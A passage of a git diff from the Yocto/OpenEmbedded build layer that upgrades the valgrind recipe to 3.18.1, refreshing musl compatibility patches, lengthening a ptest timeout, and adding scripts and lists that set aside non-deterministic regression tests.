-Upstream-Status: Pending
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- none/tests/pth_atfork1.c | 4 ++--
- 1 file changed, 2 insertions(+), 2 deletions(-)
-
-diff --git a/none/tests/pth_atfork1.c b/none/tests/pth_atfork1.c
-index 34201ef..b7f5f2d 100644
---- a/none/tests/pth_atfork1.c
-+++ b/none/tests/pth_atfork1.c
-@@ -18,7 +18,7 @@
- Boston, MA 02111-1307, USA. */
-
- #include <errno.h>
--#if !defined(__APPLE__) && !defined(__sun)
-+#if !defined(__APPLE__) && !defined(__sun) && defined(__GLIBC__)
- # include <error.h>
- #endif
- #include <stdlib.h>
-@@ -27,7 +27,7 @@
- #include <sys/wait.h>
- #include <stdio.h>
-
--#if defined(__APPLE__) || defined(__sun)
-+#if defined(__APPLE__) || defined(__sun) || (defined(__linux__) && !defined(__GLIBC__))
- #include <string.h> /* strerror */
- static void error (int status, int errnum, char* msg)
- {
---
-2.13.1
-
diff --git a/meta/recipes-devtools/valgrind/valgrind/0005-Modify-vg_test-wrapper-to-support-PTEST-formats.patch b/meta/recipes-devtools/valgrind/valgrind/0005-Modify-vg_test-wrapper-to-support-PTEST-formats.patch
index 7985308e41..a3637ea846 100644
--- a/meta/recipes-devtools/valgrind/valgrind/0005-Modify-vg_test-wrapper-to-support-PTEST-formats.patch
+++ b/meta/recipes-devtools/valgrind/valgrind/0005-Modify-vg_test-wrapper-to-support-PTEST-formats.patch
@@ -14,11 +14,16 @@ option, --yocto-ptest, the valgrind regression test output is unchanged.
Enforce 30 seconds limit for the test.
This resume execution of the remaining tests when valgrind hangs.
-Upstream-Status: Pending
+Upstream-Status: Inappropriate [oe-core specific]
Signed-off-by: Dave Lerner <dave.lerner@windriver.com>
Signed-off-by: Tudor Florea <tudor.florea@enea.com>
Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
+
+Increase time limit to 90 s.
+(double of the expected time of drd/tests/std_list on qemuarm64)
+
+Signed-off-by: Yi Fan Yu <yifan.yu@windriver.com>
---
tests/vg_regtest.in | 75 +++++++++++++++++++++++++++++++++++++++--------------
1 file changed, 55 insertions(+), 20 deletions(-)
@@ -66,7 +71,7 @@ index a441f42..cb05b52 100755
# Since most of the program time is spent in system() calls, need this to
# propagate a Ctrl-C enabling us to quit.
-sub mysystem($)
-+# Enforce 30 seconds limit for the test.
++# Enforce 90 seconds limit for the test.
+# This resume execution of the remaining tests if valgrind hangs.
+sub mysystem($)
{
@@ -76,7 +81,7 @@ index a441f42..cb05b52 100755
+ my $exit_code=0;
+ eval {
+ local $SIG{'ALRM'} = sub { die "timed out\n" };
-+ alarm(30);
++ alarm(90);
+ $exit_code = system($_[0]);
+ alarm (0);
+ ($exit_code == 2) and die "SIGINT\n"; # 2 is SIGINT
diff --git a/meta/recipes-devtools/valgrind/valgrind/0005-tc20_verifywrap.c-Fake-__GLIBC_PREREQ-with-musl.patch b/meta/recipes-devtools/valgrind/valgrind/0005-tc20_verifywrap.c-Fake-__GLIBC_PREREQ-with-musl.patch
index 6176640e42..02241781d9 100644
--- a/meta/recipes-devtools/valgrind/valgrind/0005-tc20_verifywrap.c-Fake-__GLIBC_PREREQ-with-musl.patch
+++ b/meta/recipes-devtools/valgrind/valgrind/0005-tc20_verifywrap.c-Fake-__GLIBC_PREREQ-with-musl.patch
@@ -1,30 +1,28 @@
-From b4b9f072c22f96844e02cb9d68f7ff2408680817 Mon Sep 17 00:00:00 2001
+From ace5fe19b3f13039d5d6bd5d99d54c20ea79e09c Mon Sep 17 00:00:00 2001
From: Khem Raj <raj.khem@gmail.com>
Date: Sat, 10 Jun 2017 01:07:59 -0700
-Subject: [PATCH 5/6] tc20_verifywrap.c: Fake __GLIBC_PREREQ with musl
+Subject: [PATCH] tc20_verifywrap.c: Fake __GLIBC_PREREQ with musl
similar to sun
Upstream-Status: Pending
Signed-off-by: Khem Raj <raj.khem@gmail.com>
+
---
helgrind/tests/tc20_verifywrap.c | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/helgrind/tests/tc20_verifywrap.c b/helgrind/tests/tc20_verifywrap.c
-index c110000..a311a49 100644
+index ae97bde..db2eb70 100644
--- a/helgrind/tests/tc20_verifywrap.c
+++ b/helgrind/tests/tc20_verifywrap.c
@@ -20,7 +20,7 @@
- #if !defined(__APPLE__)
+ #if !defined(__APPLE__) && !defined(__FreeBSD__)
-#if defined(__sun__)
+#if defined(__sun__) || (defined(__linux__) && !defined(__GLIBC__))
/* Fake __GLIBC_PREREQ on Solaris. Pretend glibc >= 2.4. */
# define __GLIBC_PREREQ
#else
---
-2.13.1
-
diff --git a/meta/recipes-devtools/valgrind/valgrind/0006-pth_detached3.c-Dereference-pthread_t-before-adding-.patch b/meta/recipes-devtools/valgrind/valgrind/0006-pth_detached3.c-Dereference-pthread_t-before-adding-.patch
deleted file mode 100644
index 05886c743d..0000000000
--- a/meta/recipes-devtools/valgrind/valgrind/0006-pth_detached3.c-Dereference-pthread_t-before-adding-.patch
+++ /dev/null
@@ -1,32 +0,0 @@
-From a6547fc17c120dbd95b852f50b0c4bdee4fedb9a Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Sat, 10 Jun 2017 01:20:32 -0700
-Subject: [PATCH 6/6] pth_detached3.c: Dereference pthread_t before adding
- offset to it
-
-Fixes
-error: invalid use of undefined type 'struct __pthread'
-
-Upstream-Status: Pending
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- drd/tests/pth_detached3.c | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/drd/tests/pth_detached3.c b/drd/tests/pth_detached3.c
-index c02eef1..35d43a6 100644
---- a/drd/tests/pth_detached3.c
-+++ b/drd/tests/pth_detached3.c
-@@ -21,7 +21,7 @@ int main(int argc, char** argv)
- pthread_detach(thread);
-
- /* Invoke pthread_detach() with an invalid thread ID. */
-- pthread_detach(thread + 8);
-+ pthread_detach((pthread_t*)(&thread + 8));
-
- fprintf(stderr, "Finished.\n");
-
---
-2.13.1
-
diff --git a/meta/recipes-devtools/valgrind/valgrind/fixed-perl-path.patch b/meta/recipes-devtools/valgrind/valgrind/fixed-perl-path.patch
index b431d3356e..db6867f625 100644
--- a/meta/recipes-devtools/valgrind/valgrind/fixed-perl-path.patch
+++ b/meta/recipes-devtools/valgrind/valgrind/fixed-perl-path.patch
@@ -1,4 +1,4 @@
-From 67e7a690107efb16d6d5aebfe420b64a552accdf Mon Sep 17 00:00:00 2001
+From d85cc45e0ddeda68adf594dead715964cb32d0e7 Mon Sep 17 00:00:00 2001
From: Qing He <qing.he@intel.com>
Date: Tue, 31 Aug 2010 22:51:58 +0800
Subject: [PATCH] valgrind: fix perl scripts
@@ -22,10 +22,11 @@ Signed-off-by: Maxin B. John <maxin.john@intel.com>
cachegrind/cg_diff.in | 2 +-
massif/ms_print.in | 2 +-
perf/vg_perf.in | 2 +-
- 4 files changed, 4 insertions(+), 4 deletions(-)
+ tests/vg_regtest.in | 2 +-
+ 5 files changed, 5 insertions(+), 5 deletions(-)
diff --git a/cachegrind/cg_annotate.in b/cachegrind/cg_annotate.in
-index 69365e8..978265d 100644
+index fea114b..5e814fd 100644
--- a/cachegrind/cg_annotate.in
+++ b/cachegrind/cg_annotate.in
@@ -1,4 +1,4 @@
@@ -35,7 +36,7 @@ index 69365e8..978265d 100644
##--------------------------------------------------------------------##
##--- Cachegrind's annotator. cg_annotate.in ---##
diff --git a/cachegrind/cg_diff.in b/cachegrind/cg_diff.in
-index 395460b..05873cc 100755
+index 9d9258e..d0f0ec7 100755
--- a/cachegrind/cg_diff.in
+++ b/cachegrind/cg_diff.in
@@ -1,4 +1,4 @@
@@ -45,7 +46,7 @@ index 395460b..05873cc 100755
##--------------------------------------------------------------------##
##--- Cachegrind's differencer. cg_diff.in ---##
diff --git a/massif/ms_print.in b/massif/ms_print.in
-index e6fae89..3b85b40 100755
+index a206ce4..df1bc31 100755
--- a/massif/ms_print.in
+++ b/massif/ms_print.in
@@ -1,4 +1,4 @@
@@ -55,7 +56,7 @@ index e6fae89..3b85b40 100755
##--------------------------------------------------------------------##
##--- Massif's results printer ms_print.in ---##
diff --git a/perf/vg_perf.in b/perf/vg_perf.in
-index 7a80cb0..28f6156 100644
+index 90ee1d2..c585096 100644
--- a/perf/vg_perf.in
+++ b/perf/vg_perf.in
@@ -1,4 +1,4 @@
@@ -65,7 +66,7 @@ index 7a80cb0..28f6156 100644
##--- Valgrind performance testing script vg_perf ---##
##--------------------------------------------------------------------##
diff --git a/tests/vg_regtest.in b/tests/vg_regtest.in
-index cb05b52..032e947 100755
+index 0fe6341..1b45eb7 100755
--- a/tests/vg_regtest.in
+++ b/tests/vg_regtest.in
@@ -1,4 +1,4 @@
@@ -74,5 +75,6 @@ index cb05b52..032e947 100755
##--------------------------------------------------------------------##
##--- Valgrind regression testing script vg_regtest ---##
##--------------------------------------------------------------------##
----
-2.4.0
+--
+2.29.2
+
diff --git a/meta/recipes-devtools/valgrind/valgrind/remove-for-aarch64 b/meta/recipes-devtools/valgrind/valgrind/remove-for-aarch64
index acf4fd1bc1..887bfd2766 100644
--- a/meta/recipes-devtools/valgrind/valgrind/remove-for-aarch64
+++ b/meta/recipes-devtools/valgrind/valgrind/remove-for-aarch64
@@ -1,3 +1,4 @@
+gdbserver_tests/hgtls
cachegrind/tests/ann1
callgrind/tests/simwork1
callgrind/tests/simwork2
@@ -31,8 +32,8 @@ drd/tests/annotate_trace_memory
drd/tests/annotate_trace_memory_xml
drd/tests/atomic_var
drd/tests/bar_bad
-drd/tests/bar_bad_xml
drd/tests/bar_trivial
+drd/tests/boost_thread
drd/tests/bug-235681
drd/tests/bug322621
drd/tests/circular_buffer
@@ -65,7 +66,6 @@ drd/tests/pth_barrier2
drd/tests/pth_barrier3
drd/tests/pth_barrier_race
drd/tests/pth_barrier_reinit
-drd/tests/pth_barrier_thr_cr
drd/tests/pth_broadcast
drd/tests/pth_cancel_locked
drd/tests/pth_cleanup_handler
@@ -108,7 +108,6 @@ drd/tests/tc05_simple_race
drd/tests/tc06_two_races
drd/tests/tc07_hbl1
drd/tests/tc08_hbl2
-drd/tests/tc09_bad_unlock
drd/tests/tc10_rec_lock
drd/tests/tc11_XCHG
drd/tests/tc12_rwl_trivial
@@ -173,7 +172,6 @@ helgrind/tests/tc21_pthonce
helgrind/tests/tc22_exit_w_lock
helgrind/tests/tc23_bogus_condwait
helgrind/tests/tc24_nonzero_sem
-helgrind/tests/tls_threads
memcheck/tests/accounting
memcheck/tests/addressable
memcheck/tests/arm64-linux/scalar
@@ -193,13 +191,11 @@ memcheck/tests/dw4
memcheck/tests/err_disable4
memcheck/tests/err_disable_arange1
memcheck/tests/leak-autofreepool-5
-memcheck/tests/leak_cpp_interior
memcheck/tests/linux/lsframe1
memcheck/tests/linux/lsframe2
memcheck/tests/linux/with-space
memcheck/tests/origin5-bz2
memcheck/tests/origin6-fp
-memcheck/tests/overlap
memcheck/tests/partial_load_dflt
memcheck/tests/pdb-realloc2
memcheck/tests/sh-mem
@@ -207,7 +203,6 @@ memcheck/tests/sh-mem-random
memcheck/tests/sigaltstack
memcheck/tests/sigkill
memcheck/tests/signal2
-memcheck/tests/supp_unknown
memcheck/tests/threadname
memcheck/tests/threadname_xml
memcheck/tests/unit_oset
@@ -234,3 +229,5 @@ memcheck/tests/wrapmalloc
memcheck/tests/wrapmallocstatic
memcheck/tests/writev1
memcheck/tests/xml1
+memcheck/tests/linux/stack_changes
+memcheck/tests/linux/timerfd-syscall
diff --git a/meta/recipes-devtools/valgrind/valgrind/remove-for-all b/meta/recipes-devtools/valgrind/valgrind/remove-for-all
new file mode 100644
index 0000000000..cb8d10b18f
--- /dev/null
+++ b/meta/recipes-devtools/valgrind/valgrind/remove-for-all
@@ -0,0 +1,8 @@
+none/tests/amd64/fb_test_amd64
+gdbserver_tests/hginfo
+memcheck/tests/supp_unknown
+helgrind/tests/tls_threads
+drd/tests/bar_bad_xml
+drd/tests/pth_barrier_thr_cr
+drd/tests/thread_name_xml
+massif/tests/deep-D
diff --git a/meta/recipes-devtools/valgrind/valgrind/run-ptest b/meta/recipes-devtools/valgrind/valgrind/run-ptest
index 97b0a85dbf..15cf03f9d2 100755
--- a/meta/recipes-devtools/valgrind/valgrind/run-ptest
+++ b/meta/recipes-devtools/valgrind/valgrind/run-ptest
@@ -7,16 +7,23 @@
# Randy MacLeod <Randy.MacLeod@windriver.com>
###############################################################
VALGRIND_LIB=@libdir@/valgrind
+VALGRIND_LIBEXECDIR=@libexecdir@/valgrind
VALGRIND_BIN=@bindir@/valgrind
LOG="${VALGRIND_LIB}/ptest/valgrind_ptest_$(date +%Y%m%d-%H%M%S).log"
TOOLS="memcheck cachegrind callgrind helgrind drd massif dhat lackey none"
-EXP_TOOLS="exp-bbv exp-dhat exp-sgcheck"
+EXP_TOOLS="exp-bbv"
GDB_BIN=@bindir@/gdb
cd ${VALGRIND_LIB}/ptest && ./gdbserver_tests/make_local_links ${GDB_BIN}
+echo "Hide valgrind tests that are non-deterministic"
+echo "Reported at https://bugs.kde.org/show_bug.cgi?id=430321"
+for i in `cat remove-for-all`; do
+ mv $i.vgtest $i.IGNORE;
+done
+
arch=`arch`
if [ "$arch" = "aarch64" ]; then
echo "Aarch64: Hide valgrind tests that result in defunct process and then out of memory"
@@ -25,18 +32,35 @@ if [ "$arch" = "aarch64" ]; then
done
fi
+echo "Run non-deterministic tests using taskset to limit them to a single core."
+for i in `cat taskset_nondeterministic_tests`; do
+ # The remove-for-aarch64 and taskset_nondeterministic_tests may overlap so
+ # check if a file exist.
+ if test -f "${i}.vgtest"; then
+ taskset 0x00000001 perl tests/vg_regtest --valgrind=${VALGRIND_BIN} --valgrind-lib=${VALGRIND_LIBEXECDIR} --yocto-ptest $i 2>&1|tee -a ${LOG}
+ mv $i.vgtest $i.IGNORE
+ fi
+done
+
cd ${VALGRIND_LIB}/ptest && ./tests/vg_regtest \
--valgrind=${VALGRIND_BIN} \
- --valgrind-lib=${VALGRIND_LIB} \
+ --valgrind-lib=${VALGRIND_LIBEXECDIR} \
--yocto-ptest \
gdbserver_tests ${TOOLS} ${EXP_TOOLS} \
- 2>&1|tee ${LOG}
+ 2>&1|tee -a ${LOG}
cd ${VALGRIND_LIB}/ptest && \
./tests/post_regtest_checks $(pwd) \
gdbserver_tests ${TOOLS} ${EXP_TOOLS} \
2>&1|tee -a ${LOG}
+echo "Restore non-deterministic tests"
+for i in `cat taskset_nondeterministic_tests`; do
+ if test -f "${i}.vgtest.IGNORE"; then
+ mv $i.IGNORE $i.vgtest;
+ fi
+done
+
if [ "$arch" = "aarch64" ]; then
echo "Aarch64: Restore valgrind tests that result in defunct process and then out of memory"
for i in `cat remove-for-aarch64`; do
@@ -44,6 +68,20 @@ if [ "$arch" = "aarch64" ]; then
done
fi
+echo "Restore valgrind tests that are non-deterministc"
+for i in `cat remove-for-all`; do
+ mv $i.IGNORE $i.vgtest;
+done
+
+echo "Failed test details..."
+failed_tests=`grep FAIL: ${LOG} | awk '{print $2}'`
+for test in $failed_tests; do
+ for diff_results in `ls $test*.diff`; do
+ echo $diff_results
+ echo '************'
+ cat $diff_results
+ done
+done
passed=`grep PASS: ${LOG}|wc -l`
failed=`grep FAIL: ${LOG}|wc -l`
diff --git a/meta/recipes-devtools/valgrind/valgrind/s390x_vec_op_t.patch b/meta/recipes-devtools/valgrind/valgrind/s390x_vec_op_t.patch
new file mode 100644
index 0000000000..bde1241dc7
--- /dev/null
+++ b/meta/recipes-devtools/valgrind/valgrind/s390x_vec_op_t.patch
@@ -0,0 +1,35 @@
+From 8154d38bac5cdb3675cfdaf562ab9da01988b263 Mon Sep 17 00:00:00 2001
+From: Yi Fan Yu <yifan.yu@windriver.com>
+Date: Wed, 17 Mar 2021 12:16:31 -0400
+Subject: [PATCH 19/20] remove s390x_vec_op_t
+
+s390x_vec_op_t is not needed anywhere, only elements of enum are accessed
+removing it ensures that valgrind can be built with -fno-common option
+
+Fixes
+ld: ../../VEX/libvex-amd64-linux.a(libvex_amd64_linux_a-guest_s390_helpers.o):/usr/src/debug/valgrind/3.15.0-r0/build/VEX/../../valgrind-3.15.0/VEX/priv/guest_s390_defs.h:289: multiple definition of `s390x_vec_op_t'; ../../VEX/libvexmultiarch-amd64-linux.a(libvexmultiarch_amd64_linux_a-multiarch_main_main.o):/usr/src/debug/valgrind/3.15.0-r0/build/VEX/../../valgrind-3.15.0/VEX/priv/guest_s390_defs.h:289: first defined here
+
+Upstream-Status: Pending
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+
+Signed-off-by: Yi Fan Yu <yifan.yu@windriver.com>
+---
+ VEX/priv/guest_s390_defs.h | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/VEX/priv/guest_s390_defs.h b/VEX/priv/guest_s390_defs.h
+index 9054290..dab8002 100644
+--- a/VEX/priv/guest_s390_defs.h
++++ b/VEX/priv/guest_s390_defs.h
+@@ -284,7 +284,7 @@ typedef enum {
+ S390_VEC_OP_VBPERM,
+ S390_VEC_OP_VMSL,
+ S390_VEC_OP_LAST // supposed to be the last element in enum
+-} s390x_vec_op_t;
++};
+
+ /* Arguments of s390x_dirtyhelper_vec_op(...) which are packed into one
+ ULong variable.
+--
+2.29.2
+
diff --git a/meta/recipes-devtools/valgrind/valgrind/taskset_nondeterministic_tests b/meta/recipes-devtools/valgrind/valgrind/taskset_nondeterministic_tests
new file mode 100644
index 0000000000..e15100ade7
--- /dev/null
+++ b/meta/recipes-devtools/valgrind/valgrind/taskset_nondeterministic_tests
@@ -0,0 +1,2 @@
+helgrind/tests/hg05_race2
+helgrind/tests/tc09_bad_unlock
diff --git a/meta/recipes-devtools/valgrind/valgrind_3.15.0.bb b/meta/recipes-devtools/valgrind/valgrind_3.15.0.bb
deleted file mode 100644
index 63f972945d..0000000000
--- a/meta/recipes-devtools/valgrind/valgrind_3.15.0.bb
+++ /dev/null
@@ -1,206 +0,0 @@
-SUMMARY = "Valgrind memory debugger and instrumentation framework"
-HOMEPAGE = "http://valgrind.org/"
-BUGTRACKER = "http://valgrind.org/support/bug_reports.html"
-LICENSE = "GPLv2 & GPLv2+ & BSD"
-LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
- file://include/pub_tool_basics.h;beginline=6;endline=29;md5=d4de0407239381463cf01dd276d7c22e \
- file://include/valgrind.h;beginline=1;endline=56;md5=ad3b317f3286b6b704575d9efe6ca5df \
- file://COPYING.DOCS;md5=24ea4c7092233849b4394699333b5c56"
-
-DEPENDS = " \
- ${@bb.utils.contains('DISTRO_FEATURES', 'ptest', 'boost', '', d)} \
- "
-
-SRC_URI = "https://sourceware.org/pub/valgrind/valgrind-${PV}.tar.bz2 \
- file://fixed-perl-path.patch \
- file://Added-support-for-PPC-instructions-mfatbu-mfatbl.patch \
- file://run-ptest \
- file://remove-for-aarch64 \
- file://0004-Fix-out-of-tree-builds.patch \
- file://0005-Modify-vg_test-wrapper-to-support-PTEST-formats.patch \
- file://0001-Remove-tests-that-fail-to-build-on-some-PPC32-config.patch \
- file://use-appropriate-march-mcpu-mfpu-for-ARM-test-apps.patch \
- file://avoid-neon-for-targets-which-don-t-support-it.patch \
- file://valgrind-make-ld-XXX.so-strlen-intercept-optional.patch \
- file://0001-makefiles-Drop-setting-mcpu-to-cortex-a8-on-arm-arch.patch \
- file://0001-str_tester.c-Limit-rawmemchr-test-to-glibc.patch \
- file://0001-sigqueue-Rename-_sifields-to-__si_fields-on-musl.patch \
- file://0002-context-APIs-are-not-available-on-musl.patch \
- file://0003-correct-include-directive-path-for-config.h.patch \
- file://0004-pth_atfork1.c-Define-error-API-for-musl.patch \
- file://0005-tc20_verifywrap.c-Fake-__GLIBC_PREREQ-with-musl.patch \
- file://0006-pth_detached3.c-Dereference-pthread_t-before-adding-.patch \
- file://0001-memcheck-arm64-Define-__THROW-if-not-already-defined.patch \
- file://0002-memcheck-x86-Define-__THROW-if-not-defined.patch \
- file://0003-tests-seg_override-Replace-__modify_ldt-with-syscall.patch \
- file://0001-fix-opcode-not-supported-on-mips32-linux.patch \
- file://0001-Guard-against-__GLIBC_PREREQ-for-musl-libc.patch \
- file://0001-Make-local-functions-static-to-avoid-assembler-error.patch \
- file://0001-Return-a-valid-exit_code-from-vg_regtest.patch \
- file://0001-valgrind-filter_xml_frames-do-not-filter-usr.patch \
- file://0002-valgrind-adjust-std_list-expected-output.patch \
- file://0001-adjust-path-filter-for-2-memcheck-tests.patch \
- "
-SRC_URI[md5sum] = "46e5fbdcbc3502a5976a317a0860a975"
-SRC_URI[sha256sum] = "417c7a9da8f60dd05698b3a7bc6002e4ef996f14c13f0ff96679a16873e78ab1"
-UPSTREAM_CHECK_REGEX = "valgrind-(?P<pver>\d+(\.\d+)+)\.tar"
-
-COMPATIBLE_HOST = '(i.86|x86_64|arm|aarch64|mips|powerpc|powerpc64).*-linux'
-
-# valgrind supports armv7 and above
-COMPATIBLE_HOST_armv4 = 'null'
-COMPATIBLE_HOST_armv5 = 'null'
-COMPATIBLE_HOST_armv6 = 'null'
-
-# X32 isn't supported by valgrind at this time
-COMPATIBLE_HOST_linux-gnux32 = 'null'
-COMPATIBLE_HOST_linux-muslx32 = 'null'
-
-# Disable for some MIPS variants
-COMPATIBLE_HOST_mipsarchr6 = 'null'
-COMPATIBLE_HOST_linux-gnun32 = 'null'
-
-# Disable for powerpc64 with musl
-COMPATIBLE_HOST_libc-musl_powerpc64 = 'null'
-
-inherit autotools ptest multilib_header
-
-EXTRA_OECONF = "--enable-tls --without-mpicc"
-EXTRA_OECONF += "${@['--enable-only32bit','--enable-only64bit'][d.getVar('SITEINFO_BITS') != '32']}"
-
-# valgrind checks host_cpu "armv7*)", so we need to over-ride the autotools.bbclass default --host option
-EXTRA_OECONF_append_arm = " --host=armv7${HOST_VENDOR}-${HOST_OS}"
-
-EXTRA_OEMAKE = "-w"
-
-CACHED_CONFIGUREVARS += "ac_cv_path_PERL='/usr/bin/env perl'"
-
-# valgrind likes to control its own optimisation flags. It generally defaults
-# to -O2 but uses -O0 for some specific test apps etc. Passing our own flags
-# (via CFLAGS) means we interfere with that. Only pass DEBUG_FLAGS to it
-# which fixes build path issue in DWARF.
-SELECTED_OPTIMIZATION = "${DEBUG_FLAGS}"
-
-do_configure_prepend () {
- rm -rf ${S}/config.h
- sed -i -e 's:$(abs_top_builddir):$(pkglibdir)/ptest:g' ${S}/none/tests/Makefile.am
- sed -i -e 's:$(top_builddir):$(pkglibdir)/ptest:g' ${S}/memcheck/tests/Makefile.am
-}
-
-do_install_append () {
- install -m 644 ${B}/default.supp ${D}/${libdir}/valgrind/
- oe_multilib_header valgrind/config.h
-}
-
-VALGRINDARCH ?= "${TARGET_ARCH}"
-VALGRINDARCH_aarch64 = "arm64"
-VALGRINDARCH_x86-64 = "amd64"
-VALGRINDARCH_x86 = "x86"
-VALGRINDARCH_mips = "mips32"
-VALGRINDARCH_mipsel = "mips32"
-VALGRINDARCH_mips64el = "mips64"
-VALGRINDARCH_powerpc = "ppc"
-VALGRINDARCH_powerpc64 = "ppc64"
-VALGRINDARCH_powerpc64el = "ppc64le"
-
-INHIBIT_PACKAGE_STRIP_FILES = "${PKGD}${libdir}/valgrind/vgpreload_memcheck-${VALGRINDARCH}-linux.so"
-
-RDEPENDS_${PN} += "perl"
-
-# valgrind needs debug information for ld.so at runtime in order to
-# redirect functions like strlen.
-RRECOMMENDS_${PN} += "${TCLIBC}-dbg"
-
-RDEPENDS_${PN}-ptest += " bash coreutils file \
- gdb libgomp \
- perl \
- perl-module-getopt-long perl-module-file-basename perl-module-file-glob \
- procps sed ${PN}-dbg"
-RDEPENDS_${PN}-ptest_append_libc-glibc = " glibc-utils"
-
-# One of the tests contains a bogus interpreter path on purpose.
-# Skip file dependency check
-SKIP_FILEDEPS_${PN}-ptest = '1'
-INSANE_SKIP_${PN}-ptest = "debug-deps"
-
-do_compile_ptest() {
- oe_runmake check
-}
-
-do_install_ptest() {
- chmod +x ${B}/tests/vg_regtest
-
- # The test application binaries are not automatically installed.
- # Grab them from the build directory.
- #
- # The regression tests require scripts and data files that are not
- # copied to the build directory. They must be copied from the
- # source directory.
- saved_dir=$PWD
- for parent_dir in ${S} ${B} ; do
- cd $parent_dir
-
- subdirs=" \
- .in_place \
- cachegrind/tests \
- callgrind/tests \
- dhat/tests \
- drd/tests \
- gdbserver_tests \
- helgrind/tests \
- lackey/tests \
- massif/tests \
- memcheck/tests \
- none/tests \
- tests \
- exp-bbv/tests \
- exp-dhat/tests \
- exp-sgcheck/tests \
- "
- # Get the vg test scripts, filters, and expected files
- for dir in $subdirs ; do
- find $dir | cpio -pvdu ${D}${PTEST_PATH}
- done
- cd $saved_dir
- done
-
- # The scripts reference config.h so add it to the top ptest dir.
- cp ${B}/config.h ${D}${PTEST_PATH}
- install -D ${WORKDIR}/remove-for-aarch64 ${D}${PTEST_PATH}
-
- # Add an executable need by none/tests/bigcode
- mkdir ${D}${PTEST_PATH}/perf
- cp ${B}/perf/bigcode ${D}${PTEST_PATH}/perf
-
- # Add an executable needed by memcheck/tests/vcpu_bz2
- cp ${B}/perf/bz2 ${D}${PTEST_PATH}/perf
-
- # Make the ptest dir look like the top level valgrind src dir
- # This is checked by the gdbserver_tests/make_local_links script
- mkdir ${D}${PTEST_PATH}/coregrind
- cp ${B}/coregrind/vgdb ${D}${PTEST_PATH}/coregrind
-
- # Add an executable needed by massif tests
- cp ${B}/massif/ms_print ${D}${PTEST_PATH}/massif/ms_print
-
- find ${D}${PTEST_PATH} \
- \( \
- -name "Makefile*" \
- -o -name "*.o" \
- \) \
- -exec rm {} \;
-
- # These files need to be newer so touch them.
- touch ${D}${PTEST_PATH}/cachegrind/tests/a.c -r ${D}${PTEST_PATH}/cachegrind/tests/cgout-test
-
- # find *_annotate in ${bindir} for yocto build
- sed -i s:\.\./\.\./cachegrind/cg_annotate:${bindir}/cg_annotate: ${D}${PTEST_PATH}/cachegrind/tests/ann1.vgtest
- sed -i s:\.\./\.\./cachegrind/cg_annotate:${bindir}/cg_annotate: ${D}${PTEST_PATH}/cachegrind/tests/ann2.vgtest
-
- sed -i s:\.\./\.\./callgrind/callgrind_annotate:${bindir}/callgrind_annotate: ${D}${PTEST_PATH}/callgrind/tests/ann1.vgtest
- sed -i s:\.\./\.\./callgrind/callgrind_annotate:${bindir}/callgrind_annotate: ${D}${PTEST_PATH}/callgrind/tests/ann2.vgtest
-
- # handle multilib
- sed -i s:@libdir@:${libdir}:g ${D}${PTEST_PATH}/run-ptest
- sed -i s:@bindir@:${bindir}:g ${D}${PTEST_PATH}/run-ptest
-}
diff --git a/meta/recipes-devtools/valgrind/valgrind_3.18.1.bb b/meta/recipes-devtools/valgrind/valgrind_3.18.1.bb
new file mode 100644
index 0000000000..0c297ad6b9
--- /dev/null
+++ b/meta/recipes-devtools/valgrind/valgrind_3.18.1.bb
@@ -0,0 +1,255 @@
+SUMMARY = "Valgrind memory debugger and instrumentation framework"
+HOMEPAGE = "http://valgrind.org/"
+DESCRIPTION = "Valgrind is an instrumentation framework for building dynamic analysis tools. There are Valgrind tools that can automatically detect many memory management and threading bugs, and profile your programs in detail."
+BUGTRACKER = "http://valgrind.org/support/bug_reports.html"
+LICENSE = "GPL-2.0-only & GPL-2.0-or-later & BSD-3-Clause"
+LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
+ file://include/pub_tool_basics.h;beginline=6;endline=29;md5=41c410e8d3f305aee7aaa666b2e4f366 \
+ file://include/valgrind.h;beginline=1;endline=56;md5=ad3b317f3286b6b704575d9efe6ca5df \
+ file://COPYING.DOCS;md5=24ea4c7092233849b4394699333b5c56"
+
+DEPENDS = " \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'ptest', 'boost', '', d)} \
+ "
+
+SRC_URI = "https://sourceware.org/pub/valgrind/valgrind-${PV}.tar.bz2 \
+ file://fixed-perl-path.patch \
+ file://Added-support-for-PPC-instructions-mfatbu-mfatbl.patch \
+ file://run-ptest \
+ file://remove-for-aarch64 \
+ file://remove-for-all \
+ file://taskset_nondeterministic_tests \
+ file://0004-Fix-out-of-tree-builds.patch \
+ file://0005-Modify-vg_test-wrapper-to-support-PTEST-formats.patch \
+ file://use-appropriate-march-mcpu-mfpu-for-ARM-test-apps.patch \
+ file://avoid-neon-for-targets-which-don-t-support-it.patch \
+ file://valgrind-make-ld-XXX.so-strlen-intercept-optional.patch \
+ file://0001-makefiles-Drop-setting-mcpu-to-cortex-a8-on-arm-arch.patch \
+ file://0001-str_tester.c-Limit-rawmemchr-test-to-glibc.patch \
+ file://0001-sigqueue-Rename-_sifields-to-__si_fields-on-musl.patch \
+ file://0002-context-APIs-are-not-available-on-musl.patch \
+ file://0003-correct-include-directive-path-for-config.h.patch \
+ file://0005-tc20_verifywrap.c-Fake-__GLIBC_PREREQ-with-musl.patch \
+ file://0001-memcheck-arm64-Define-__THROW-if-not-already-defined.patch \
+ file://0002-memcheck-x86-Define-__THROW-if-not-defined.patch \
+ file://0003-tests-seg_override-Replace-__modify_ldt-with-syscall.patch \
+ file://0001-fix-opcode-not-supported-on-mips32-linux.patch \
+ file://0001-Guard-against-__GLIBC_PREREQ-for-musl-libc.patch \
+ file://0001-Make-local-functions-static-to-avoid-assembler-error.patch \
+ file://0001-Return-a-valid-exit_code-from-vg_regtest.patch \
+ file://0001-valgrind-filter_xml_frames-do-not-filter-usr.patch \
+ file://0001-memcheck-vgtests-remove-fullpath-after-flags.patch \
+ file://s390x_vec_op_t.patch \
